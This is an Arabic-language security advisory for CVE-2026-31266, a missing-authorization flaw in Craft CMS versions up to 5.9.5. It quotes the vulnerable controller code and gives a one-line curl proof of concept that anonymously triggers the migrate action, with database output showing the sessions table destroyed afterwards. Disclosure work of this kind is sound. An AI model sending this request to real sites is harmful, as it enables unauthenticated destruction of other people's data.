CVE-2026-31266 - نقص التفويض في Craft CMS

معلومات CVE

الحقل	القيمة
معرف CVE	CVE-2026-31266
البائع	Pixel & Tonic
المنتج	Craft CMS
الإصدارات المتأثرة	<= 5.9.5
CWE	CWE-862 (نقص التفويض)
CVSS	7.3 (عالي)
باحث الأمن	0xRIXET

محتويات الأدلة

screenshots/ - عروض إثبات المفهوم

الثغرة

النوع: نقص التفويض
التأثير: تجاوز المصادقة
البائع: Craft CMS
الحالة: CVE-2026-31266

الكود القابل للثغرة

الملف: src/controllers/AppController.php

الأسطر 65-68:

protected array|bool|int $allowAnonymous = [
    'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
];

إثبات المفهوم

# With allowAdminChanges=false
curl -X POST "http://target/actions/app/migrate"

الأدلة

قبل الهجوم:

mysql> SELECT COUNT(*) FROM sessions;
+----------+
| COUNT(*) |
+----------+
|        0 |
+----------+

بعد الهجوم:

mysql> SELECT COUNT(*) FROM sessions;
ERROR 1146 (42S02): Table 'sessions' doesn't exist

المراجع

جهة الاتصال

باحث الأمن: 0xRIXET | محمد الشهري
تويتر | X : @0xRIXET
البريد الإلكتروني: [email protected]

تنزيل الأداة